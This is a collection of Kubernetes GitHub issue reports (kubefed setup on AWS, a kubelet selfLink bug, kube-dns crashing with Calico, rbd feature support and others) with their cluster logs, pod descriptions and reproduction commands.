eof\r i0215 19:59:30.908798       1 logs.go:41  http: tls handshake error from 10.38.0.0:50941: eof\r i0215 19:59:31.866302       1 logs.go:41  http: tls handshake error from 10.32.0.1:7853: eof\r i0215 19:59:31.866378       1 logs.go:41  http: tls handshake error from 10.45.0.0:47116: eof\r i0215 19:59:39.515978       1 logs.go:41  http: tls handshake error from 10.40.0.0:54279: eof\r i0215 19:59:39.516044       1 logs.go:41  http: tls handshake error from 10.42.0.0:25230: eof\r i0215 19:59:40.907892       1 logs.go:41  http: tls handshake error from 10.46.0.0:25219: eof\r i0215 19:59:40.908103       1 logs.go:41  http: tls handshake error from 10.38.0.0:50953: eof\r i0215 19:59:41.865856       1 logs.go:41  http: tls handshake error from 10.32.0.1:7863: eof\r i0215 19:59:41.865921       1 logs.go:41  http: tls handshake error from 10.45.0.0:47126: eof\r i0215 19:59:49.515745       1 logs.go:41  http: tls handshake error from 10.42.0.0:25242: eof\r i0215 19:59:49.515989       1 logs.go:41  http: tls handshake error from 10.40.0.0:54291: eof\r i0215 19:59:50.908303       1 logs.go:41  http: tls handshake error from 10.46.0.0:25223: eof\r i0215 19:59:50.908414       1 logs.go:41  http: tls handshake error from 10.38.0.0:50957: eof\r i0215 19:59:51.866060       1 logs.go:41  http: tls handshake error from 10.32.0.1:7869: eof\r i0215 19:59:51.866282       1 logs.go:41  http: tls handshake error from 10.45.0.0:47132: eof\r i0215 19:59:55.089247       1 logs.go:41  http: tls handshake error from 10.32.0.1:7879: tls: client offered an unsupported, maximum protocol version of 300\r i0215 19:59:59.515942       1 logs.go:41  http: tls handshake error from 10.42.0.0:25250: eof\r i0215 19:59:59.516167       1 logs.go:41  http: tls handshake error from 10.40.0.0:54299: eof\r i0215 20:00:00.907431       1 logs.go:41  http: tls handshake error from 10.46.0.0:25231: eof\r i0215 20:00:00.907818       1 logs.go:41  http: tls handshake error from 10.38.0.0:50965: eof\r i0215 20:00:01.866346       1 logs.go:41  http: tls handshake error from 10.45.0.0:47152: eof\r i0215 20:00:01.866431       1 logs.go:41  http: tls handshake error from 10.32.0.1:7889: eof\r i0215 20:00:09.516394       1 logs.go:41  http: tls handshake error from 10.42.0.0:25262: eof\r i0215 20:00:09.516491       1 logs.go:41  http: tls handshake error from 10.40.0.0:54311: eof\r i0215 20:00:10.909225       1 logs.go:41  http: tls handshake error from 10.46.0.0:25245: eof\r i0215 20:00:10.909517       1 logs.go:41  http: tls handshake error from 10.38.0.0:50979: eof\r i0215 20:00:11.866193       1 logs.go:41  http: tls handshake error from 10.45.0.0:47158: eof\r i0215 20:00:11.866280       1 logs.go:41  http: tls handshake error from 10.32.0.1:7895: eof\r i0215 20:00:19.515027       1 logs.go:41  http: tls handshake error from 10.40.0.0:54319: eof\r i0215 20:00:19.515263       1 logs.go:41  http: tls handshake error from 10.42.0.0:25270: eof\r i0215 20:00:20.907571       1 logs.go:41  http: tls handshake error from 10.46.0.0:25257: eof\r i0215 20:00:20.907795       1 logs.go:41  http: tls handshake error from 10.38.0.0:50991: eof\r i0215 20:00:21.865612       1 logs.go:41  http: tls handshake error from 10.45.0.0:47168: eof\r i0215 20:00:21.865684       1 logs.go:41  http: tls handshake error from 10.32.0.1:7905: eof\r i0215 20:00:29.515489       1 logs.go:41  http: tls handshake error from 10.42.0.0:25280: eof\r i0215 20:00:29.515524       1 logs.go:41  http: tls handshake error from 10.40.0.0:54329: eof\r i0215 20:00:30.907721       1 logs.go:41  http: tls handshake error from 10.46.0.0:25263: eof\r i0215 20:00:30.908163       1 logs.go:41  http: tls handshake error from 10.38.0.0:50997: eof\r i0215 20:00:31.866250       1 logs.go:41  http: tls handshake error from 10.32.0.1:7915: eof\r i0215 20:00:31.866427       1 logs.go:41  http: tls handshake error from 10.45.0.0:47178: eof\r i0215 20:00:32.223170       1 logs.go:41  http: tls handshake error from 10.32.0.1:7911: remote error: tls: unknown certificate\r i0215 20:00:32.225436       1 logs.go:41  http: tls handshake error from 10.45.0.0:47174: remote error: tls: unknown certificate\r    \r \r    \r  root@ip-10-0-0-197 ec2-user   kubectl get events --namespace=federation-system\r lastseen   firstseen   count     name                                           kind      subobject   type      reason             source                  message\r 27m        27m         2         federation-system-apiserver-4287764562-mclvp   pod                   warning   failedscheduling   {default-scheduler }     schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected. \r 27m        27m         1         federation-system-apiserver-4287764562-mclvp   pod                   normal    scheduled          {default-scheduler }    successfully assigned federation-system-apiserver-4287764562-mclvp to ip-10-8-103-46.ec2.internal\r 27m        27m         2         federation-system-apiserver-4287764562-mclvp   pod                   warning   failedmount        {controller-manager }   failed to attach volume \ pvc-71ea7e7e-f3b8-11e6-bd41-12a9e378529c\  on node \ ip-10-8-103-46.ec2.internal\  with: error attaching ebs volume \ vol-000b2f2b764fbe0ef\  to instance \ i-07a7e4b00e802b80d\ : incorrectstate: vol-000b2f2b764fbe0ef is not 'available'.\r            status code: 400, request id: \r 27m        27m       1         federation-system-apiserver-4287764562-mclvp            pod          spec.containers{apiserver}            normal    pulling                {kubelet ip-10-8-103-46.ec2.internal}   pulling image \ gcr.io/google_containers/hyperkube-amd64:v1.5.2\ \r 26m        26m       1         federation-system-apiserver-4287764562-mclvp            pod          spec.containers{apiserver}            normal    pulled                 {kubelet ip-10-8-103-46.ec2.internal}   successfully pulled image \ gcr.io/google_containers/hyperkube-amd64:v1.5.2\ \r 26m        26m       1         federation-system-apiserver-4287764562-mclvp            pod          spec.containers{apiserver}            normal    created                {kubelet ip-10-8-103-46.ec2.internal}   created container with docker id 5ac73332629c; security: seccomp=unconfined \r 26m        26m       1         federation-system-apiserver-4287764562-mclvp            pod          spec.containers{apiserver}            normal    started                {kubelet ip-10-8-103-46.ec2.internal}   started container with docker id 5ac73332629c\r 26m        26m       1         federation-system-apiserver-4287764562-mclvp            pod          spec.containers{etcd}                 normal    pulling                {kubelet ip-10-8-103-46.ec2.internal}   pulling image \ quay.io/coreos/etcd:v2.3.3\ \r 26m        26m       1         federation-system-apiserver-4287764562-mclvp            pod          spec.containers{etcd}                 normal    pulled                 {kubelet ip-10-8-103-46.ec2.internal}   successfully pulled image \ quay.io/coreos/etcd:v2.3.3\ \r 26m        26m       1         federation-system-apiserver-4287764562-mclvp            pod          spec.containers{etcd}                 normal    created                {kubelet ip-10-8-103-46.ec2.internal}   created container with docker id b502aa53196c; security: seccomp=unconfined \r 26m        26m       1         federation-system-apiserver-4287764562-mclvp            pod          spec.containers{etcd}                 normal    started                {kubelet ip-10-8-103-46.ec2.internal}   started container with docker id b502aa53196c\r 27m        27m       1         federation-system-apiserver-4287764562                  replicaset                                         normal    successfulcreate       {replicaset-controller }                created pod: federation-system-apiserver-4287764562-mclvp\r 27m        27m       1         federation-system-apiserver                             service                                            normal    creatingloadbalancer   {service-controller }                   creating load balancer\r 27m        27m       1         federation-system-apiserver                             service                                            normal    createdloadbalancer    {service-controller }                   created load balancer\r 27m        27m       1         federation-system-apiserver                             deployment                                         normal    scalingreplicaset      {deployment-controller }                scaled up replica set federation-system-apiserver-4287764562 to 1\r 27m        27m       1         federation-system-controller-manager-3200228416-69nvt   pod                                                normal    scheduled              {default-scheduler }                    successfully assigned federation-system-controller-manager-3200228416-69nvt to ip-10-8-64-28.ec2.internal\r 27m        27m       1         federation-system-controller-manager-3200228416-69nvt   pod          spec.containers{controller-manager}   normal    pulling                {kubelet ip-10-8-64-28.ec2.internal}    pulling image \ gcr.io/google_containers/hyperkube-amd64:v1.5.2\ \r 27m        27m       1         federation-system-controller-manager-3200228416-69nvt   pod          spec.containers{controller-manager}   normal    pulled                 {kubelet ip-10-8-64-28.ec2.internal}    successfully pulled image \ gcr.io/google_containers/hyperkube-amd64:v1.5.2\ \r 27m        27m       1         federation-system-controller-manager-3200228416-69nvt   pod          spec.containers{controller-manager}   normal    created                {kubelet ip-10-8-64-28.ec2.internal}    created container with docker id 523ead9686d2; security: seccomp=unconfined \r 27m        27m       1         federation-system-controller-manager-3200228416-69nvt   pod          spec.containers{controller-manager}   normal    started                {kubelet ip-10-8-64-28.ec2.internal}    started container with docker id 523ead9686d2\r 27m        27m       1         federation-system-controller-manager-3200228416         replicaset                                         normal    successfulcreate       {replicaset-controller }                created pod: federation-system-controller-manager-3200228416-69nvt\r 27m        27m       1         federation-system-controller-manager                    deployment                                         normal    scalingreplicaset      {deployment-controller }                scaled up replica set federation-system-controller-manager-3200228416 to 1\r \r    \r   what you expected to happen  :\r i was expecting kubefed tool should able to setup all configuration for federation cluster as long as we provide a valid kube config file.\r \r   how to reproduce it    as minimally and precisely as possible :\r i created new cluster using following command,\r    \r kops create cluster \\\r     --cloud=aws \\\r     --zones=us-east-1a,us-east-1d,us-east-1c \\\r     --master-zones=us-east-1a,us-east-1d,us-east-1c \\\r     --kubernetes-version=1.5.2 \\\r     --image=\ centos-ami\  \\\r     --node-count=3 \\\r     --node-size=t2.medium \\\r     --master-size=t2.medium \\\r     --topology=private \\\r     --networking=weave \\\r     --dns-zone=scratch-domain.net \\\r     --name=kubernetes.scratch-domain.net \\\r     --network-cidr=10.8.0.0/16 \\\r     --admin-access=0.0.0.0/0 \\\r     --bastion \\\r     --state=s3://state.kubernetes.scratch-domain.net\r \r \r kops update cluster kubernetes.scratch-domain.net \\\r     --state=s3://state.kubernetes.scratch-domain.net \\\r     --yes\r    \r \r and deployed federation cluster using following,\r    \r kubefed init federation-system --host-cluster-context=kubernetes.scratch-domain.net --dns-zone-name=scratch-domain.net --kubeconfig=/root/.kube/config --dns-provider=aws-route53\r    \r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r selflink\r kubelet selflink\r default selflink\r manifest selflink\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r admin@node:~$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t10:00:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t09:42:05z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :  aws\r -   os  : debian gnu/linux 8  jessie  \r -   kernel  : linux ip-10-150-109-115 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux\r -   install tools  :  kops 1.5.3\r -   others  :\r \r   what happened  :\r when running  curl http://localhost:10255/pods  the selflink for pods started from manifests were incorrect.\r \r example:    /api/v1/pods/namespaces/kube-scheduler/kube-system \r \r   what you expected to happen  :\r \r to receive a correct selflink:\r \r example:    /api/v1/namespaces/kube-system/pods/kube-scheduler \r \r   how to reproduce it    as minimally and precisely as possible :\r \r i believe simply using a pod manifest to start a pod will cause this issue as kubelet seems to rely on defaults when starting pods from manifests.\r \r   anything else we need to know  :\r \r i believe the below linked line needs to be corrected:\r \r https://github.com/kubernetes/kubernetes/blob/abd92fab1e8c1b638178d58efab7a09509a053c7/pkg/kubelet/config/common.go l96\r

dear all:\r i'm not sure if i'm right. when i use  kubeadm init --config=xxxx  whith  openstack provider config-drive .i found controller-manager logs \r    \r e0613 02:17:16.809590       1 mount_linux.go:122  mount failed: exit status 1\r mounting command: mount\r mounting arguments:  /tmp/configdrive336243194 vfat  ro \r output: mount: can't read '/etc/fstab': no such file or directory\r     \r \r      env\r    \r kubeadm: 1.6.3\r host: ubuntu xenial\r network: calico ipip\r    \r \r someone can help me? thanks a lot.

this is an issue to keep track of work on moving the four core controllers   daemonset ,  deployment ,  replicaset , and  statefulset   to use  apps/v1beta2  apis.\r \r -     move  daemonset  controller to use  apps/v1beta2  apis.  @janetkuo,  51157 \r -     move  deployment  controller to use  apps/v1beta2  apis.  @crimsonfaith91  51236 \r -     move  replicaset  controller to use  apps/v1beta2  apis.  @liyinan926,  51050 \r -     move  statefulset  controller to use  apps/v1beta2  apis.  @dixudx,  51118 \r \r @kow3ns @janetkuo \r  /assign @liyinan926\r

is this a bug report or feature request?  :\r  \r   what happened  :\r when  make verify  is invoked, if tails when script  build/common.sh  attempt to detect the presence of command  ip  on the local machine if in fact the binary is not found on the machine.\r \r   what you expected to happen  :\r  make verify  not to fail.\r \r   how to reproduce it  as minimally and precisely as possible   :\r on a mac running osx that does not have the  ip  command install, run  make verify   or any command that eventually invokes  function kube::build::has_ip    in build/common.sh .\r \r   environment  :\r - os  e.g. from /etc/os-release :  mac osx \r - kernel  e.g.  uname -a  :   darwin kernel version 15.6.0 \r \r

i used calico manifests and default kubeadm setup instructions sig/ help wanted\r  - submitted the same issue  on calico github https://github.com/projectcalico/calico/issues/1337 , to see if the problem was from calico or not. any help is appreciated.\r  -  i have successfully tested star-policy, advanced-policy demos few months back. now it is not working. i have spent almost 2 days to find if i miss something. now i thought it is time to ask some help, as i could not understand what is happening. \r - i am still new to kubernetes and calico. please point out any silly things if i have missed.\r     kubernetes issues  similar to the one, but seems to have fixed them \r   - https://github.com/kubernetes/kubernetes/issues/27873\r   - https://github.com/kubernetes/contrib/issues/2249\r   - https://github.com/kubernetes/kubeadm/issues/193\r    my environment\r   calico version: 2.6\r   -  https://docs.proectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/\r   -   also tried to downgrade to 2.3\r   orchestrator version:\r   - kubernetes  kubeadm, kubectl, kubelet : v1.7.10\r   - i downgraded kubernetes to v1.6.12. the result was the same.\r   operating system and version:\r    - linux pka-sec 4.4.0-98-generic  121-ubuntu \r \r    steps to reproduce  for bugs \r https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/\r 1. sudo kubeadm init --service-cidr=10.96.0.0/12 --pod-network-cidr=192.168.0.0/16\r 2. kubectl apply -f https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\r 3. kubectl taint nodes --all node-role.kubernetes.io/master-\r \r    current behavior\r     kubelet config\r \r /etc/systemd/system/kubelet.service.d$ sudo nano 10-kubeadm.conf\r    \r  service \r environment=\ kubelet_kubeconfig_args=--kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true\ \r environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r environment=\ kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\ \r environment=\ kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\ \r environment=\ kubelet_cadvisor_args=--cadvisor-port=0\ \r execstart=\r execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_system_pods_args $kubelet_network_args $kubelet_dns_args $kubelet_authz_args $kubelet_cadvisor_args $kubelet_extra_args\r    \r     pod status\r      kubectl get pods --all-namespaces\r    \r namespace     name                                       ready     status             restarts   age\r kube-system   calico-etcd-d63hj                          1/1       running            0          7m\r kube-system   calico-kube-controllers-1449740419-v0gc7   1/1       running            0          7m\r kube-system   calico-node-8mstx                          2/2       running            0          7m\r kube-system   etcd-pka-sec                               1/1       running            0          8m\r kube-system   kube-apiserver-pka-sec                     1/1       running            0          8m\r kube-system   kube-controller-manager-pka-sec            1/1       running            0          8m\r kube-system   kube-dns-2617979913-9q70b                  2/3       crashloopbackoff   7          9m\r kube-system   kube-proxy-xv1sl                           1/1       running            0          9m\r kube-system   kube-scheduler-pka-sec                     1/1       running            0          8m \r    \r     kube-dns crashes\r      kube-dns log\r kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c kubedns\r    \r i1110 09:48:48.502946     427 dns.go:48  version: 1.14.4-2-g5584e04\r i1110 09:48:48.503799     427 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r i1110 09:48:48.503838     427 server.go:113  flag: --alsologtostderr=\ false\ \r i1110 09:48:48.503848     427 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r i1110 09:48:48.503855     427 server.go:113  flag: --config-map=\ \ \r i1110 09:48:48.503860     427 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i1110 09:48:48.503864     427 server.go:113  flag: --config-period=\ 10s\ \r i1110 09:48:48.503871     427 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i1110 09:48:48.503875     427 server.go:113  flag: --dns-port=\ 10053\ \r i1110 09:48:48.503881     427 server.go:113  flag: --domain=\ cluster.local.\ \r i1110 09:48:48.503892     427 server.go:113  flag: --federations=\ \ \r i1110 09:48:48.503901     427 server.go:113  flag: --healthz-port=\ 8081\ \r i1110 09:48:48.503917     427 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i1110 09:48:48.503926     427 server.go:113  flag: --kube-master-url=\ \ \r i1110 09:48:48.503936     427 server.go:113  flag: --kubecfg-file=\ \ \r i1110 09:48:48.503944     427 server.go:113  flag: --log-backtrace-at=\ :0\ \r i1110 09:48:48.503955     427 server.go:113  flag: --log-dir=\ \ \r i1110 09:48:48.503964     427 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i1110 09:48:48.503972     427 server.go:113  flag: --logtostderr=\ true\ \r i1110 09:48:48.503979     427 server.go:113  flag: --nameservers=\ \ \r i1110 09:48:48.503987     427 server.go:113  flag: --stderrthreshold=\ 2\ \r i1110 09:48:48.503995     427 server.go:113  flag: --v=\ 2\ \r i1110 09:48:48.504004     427 server.go:113  flag: --version=\ false\ \r i1110 09:48:48.504016     427 server.go:113  flag: --vmodule=\ \ \r i1110 09:48:48.504069     427 server.go:176  starting skydns server  0.0.0.0:10053 \r i1110 09:48:48.504300     427 server.go:198  skydns metrics enabled  /metrics:10055 \r i1110 09:48:48.504315     427 dns.go:147  starting endpointscontroller\r i1110 09:48:48.504324     427 dns.go:150  starting servicecontroller\r i1110 09:48:48.504381     427 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i1110 09:48:48.504419     427 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i1110 09:48:49.004534     427 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e1110 09:49:18.504958     427 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e1110 09:49:18.504954     427 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r i1110 09:49:19.004556     427 dns.go:174  waiting for services and endpoints to be initialized from apiserver..\r    \r      kubectl describe pod kube-dns-2617979913-9q70b -n kube-system \r    \r name:\t\tkube-dns-2617979913-9q70b\r namespace:\tkube-system\r node:\t\tpka-sec/10.192.155.211\r start time:\tfri, 10 nov 2017 09:54:06 +0100\r labels:\t\tk8s-app=kube-dns\r \t\tpod-template-hash=2617979913\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-dns-2617979913\ ,\ uid\ :\ 6c5c954a-c5f4-11e7-ab92-e018770a...\r \t\tscheduler.alpha.kubernetes.io/critical-pod=\r status:\t\trunning\r ip:\t\t192.168.48.117\r created by:\treplicaset/kube-dns-2617979913\r controlled by:\treplicaset/kube-dns-2617979913\r containers:\r   kubedns:\r     container id:\tdocker://6061c4765a8bde9ce4b6e8cfcaf86f869a3c83e9a85948018b381c066e17b317\r     image:\t\tgcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.5\r     image id:\t\tdocker-pullable://gcr.io/google_containers/k8s-dns-kube-dns-amd64@sha256:1a3fc069de481ae690188f6f1ba4664b5cc7760af37120f70c86505c79eea61d\r     ports:\t\t10053/udp, 10053/tcp, 10055/tcp\r     args:\r       --domain=cluster.local.\r       --dns-port=10053\r       --config-dir=/kube-dns-config\r       --v=2\r     state:\t\trunning\r       started:\t\tfri, 10 nov 2017 09:55:09 +0100\r     last state:\t\tterminated\r       reason:\t\terror\r       exit code:\t255\r       started:\t\tfri, 10 nov 2017 09:54:07 +0100\r       finished:\t\tfri, 10 nov 2017 09:55:08 +0100\r     ready:\t\tfalse\r     restart count:\t1\r     limits:\r       memory:\t170mi\r     requests:\r       cpu:\t100m\r       memory:\t70mi\r     liveness:\thttp-get http://:10054/healthcheck/kubedns delay=60s timeout=5s period=10s  success=1  failure=5\r     readiness:\thttp-get http://:8081/readiness delay=3s timeout=5s period=10s  success=1  failure=3\r     environment:\r       prometheus_port:\t10055\r     mounts:\r       /kube-dns-config from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-hmg08  ro \r   dnsmasq:\r     container id:\tdocker://4e750303e28ebe6a13e70f26d1968129dc5816a1a0f32c2bc60a14a6cf88efd8\r     image:\t\tgcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.5\r     image id:\t\tdocker-pullable://gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64@sha256:46b933bb70270c8a02fa6b6f87d440f6f1fce1a5a2a719e164f83f7b109f7544\r     ports:\t\t53/udp, 53/tcp\r     args:\r       -v=2\r       -logtostderr\r       -configdir=/etc/k8s/dns/dnsmasq-nanny\r       -restartdnsmasq=true\r       --\r       -k\r       --cache-size=1000\r       --log-facility=-\r       --server=/cluster.local/127.0.0.1 10053\r       --server=/in-addr.arpa/127.0.0.1 10053\r       --server=/ip6.arpa/127.0.0.1 10053\r     state:\t\trunning\r       started:\t\tfri, 10 nov 2017 09:54:08 +0100\r     ready:\t\ttrue\r     restart count:\t0\r     requests:\r       cpu:\t\t150m\r       memory:\t\t20mi\r     liveness:\t\thttp-get http://:10054/healthcheck/dnsmasq delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:\t<none>\r     mounts:\r       /etc/k8s/dns/dnsmasq-nanny from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-hmg08  ro \r   sidecar:\r     container id:\tdocker://62c6f4de220fe6f5e679448f4815cf6dd9a2932e5b57e8166193d55e5f94cfe1\r     image:\t\tgcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.5\r     image id:\t\tdocker-pullable://gcr.io/google_containers/k8s-dns-sidecar-amd64@sha256:9aab42bf6a2a068b797fe7d91a5d8d915b10dbbc3d6f2b10492848debfba6044\r     port:\t\t10054/tcp\r     args:\r       --v=2\r       --logtostderr\r       --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\r       --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\r     state:\t\trunning\r       started:\t\tfri, 10 nov 2017 09:54:08 +0100\r     ready:\t\ttrue\r     restart count:\t0\r     requests:\r       cpu:\t\t10m\r       memory:\t\t20mi\r     liveness:\t\thttp-get http://:10054/metrics delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-hmg08  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   kube-dns-config:\r     type:\tconfigmap  a volume populated by a configmap \r     name:\tkube-dns\r     optional:\ttrue\r   kube-dns-token-hmg08:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tkube-dns-token-hmg08\r     optional:\tfalse\r qos class:\tburstable\r node-selectors:\t<none>\r tolerations:\tcriticaladdonsonly\r \t\tnode-role.kubernetes.io/master:noschedule\r \t\tnode.alpha.kubernetes.io/notready:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\t\ttype\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t\t--------------\t\t\t-------\r   3m\t\t2m\t\t8\tdefault-scheduler\t\t\t\t\twarning\tfailedscheduling\tno nodes available to schedule pods\r   1m\t\t1m\t\t1\tdefault-scheduler\t\t\t\t\tnormal\tscheduled\t\tsuccessfully assigned kube-dns-2617979913-9q70b to pka-sec\r   1m\t\t1m\t\t1\tkubelet, pka-sec\t\t\t\t\tnormal\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ kube-dns-config\  \r   1m\t\t1m\t\t1\tkubelet, pka-sec\t\t\t\t\tnormal\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ kube-dns-token-hmg08\  \r   1m\t\t1m\t\t1\tkubelet, pka-sec\tspec.containers{dnsmasq}\tnormal\tpulled\t\t\tcontainer image \ gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.5\  already present on machine\r   1m\t\t1m\t\t1\tkubelet, pka-sec\tspec.containers{sidecar}\tnormal\tcreated\t\t\tcreated container\r   1m\t\t1m\t\t1\tkubelet, pka-sec\tspec.containers{sidecar}\tnormal\tstarted\t\t\tstarted container\r   1m\t\t1m\t\t1\tkubelet, pka-sec\tspec.containers{dnsmasq}\tnormal\tcreated\t\t\tcreated container\r   1m\t\t1m\t\t1\tkubelet, pka-sec\tspec.containers{dnsmasq}\tnormal\tstarted\t\t\tstarted container\r   1m\t\t1m\t\t1\tkubelet, pka-sec\tspec.containers{sidecar}\tnormal\tpulled\t\t\tcontainer image \ gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.5\  already present on machine\r   1m\t\t41s\t\t2\tkubelet, pka-sec\tspec.containers{kubedns}\tnormal\tpulled\t\t\tcontainer image \ gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.5\  already present on machine\r   1m\t\t41s\t\t2\tkubelet, pka-sec\tspec.containers{kubedns}\tnormal\tcreated\t\t\tcreated container\r   1m\t\t41s\t\t2\tkubelet, pka-sec\tspec.containers{kubedns}\tnormal\tstarted\t\t\tstarted container\r   1m\t\t4s\t\t11\tkubelet, pka-sec\tspec.containers{kubedns}\twarning\tunhealthy\t\treadiness probe failed: get http://192.168.48.117:8081/readiness: dial tcp 192.168.48.117:8081: getsockopt: connection refused\r   34s\t\t4s\t\t4\tkubelet, pka-sec\tspec.containers{dnsmasq}\twarning\tunhealthy\t\tliveness probe failed: http probe failed with statuscode: 503\r    \r     kubectl get nodes -o wide\r    \r name      status    age       version   external-ip   os-image             kernel-version\r pka-sec   ready     47m       v1.7.10   <none>        ubuntu 16.04.3 lts   4.4.0-98-generic\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r scheduler schedules federated-apiserver to a random availabe node\r   what you expected to happen  :\r schedule to specific nodes\r   how to reproduce it  as minimally and precisely as possible   :\r set up federation service\r \r   anything else we need to know?  :\r i suggest to add a flag to kubefed command, or support a config file to customize deployment\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r kernel rbd driver doesn't support all rbd features, currently is 3  kernel version < 4.9  and 7  kernel version 4.9+ , while newest rbd backend support rbd_default_feature 63 or higher. attach will fail if kernel doesn't support the rbd volume feature.\r \r   what you expected to happen  :\r rbd volume plugin now support natively provision of feature 1 and 3  pr 45805  https://github.com/kubernetes/kubernetes/pull/45805 . however, to support external rbd volume provisioner like  standalone-cinder  https://github.com/kubernetes-incubator/external-storage/tree/master/openstack/standalone-cinder  i think should we support rbd feature adjustment according to kernel version and backend rbd_default_feature. \r before attach, kubelet can do this:\r - get kernel version, get rbd volume feature\r - if kernel version doesn't support rbd volume feature, disable some of the features to fit kernel version with  rbd feature disable  command line.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r we can also disable the kernel unsupported features from rbd backend side. however, some features are useful for rbd management etc. object-map, disable this feature will decrease the rbd backend performance a bit , so a better way is to do this from user side kubelet . \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from 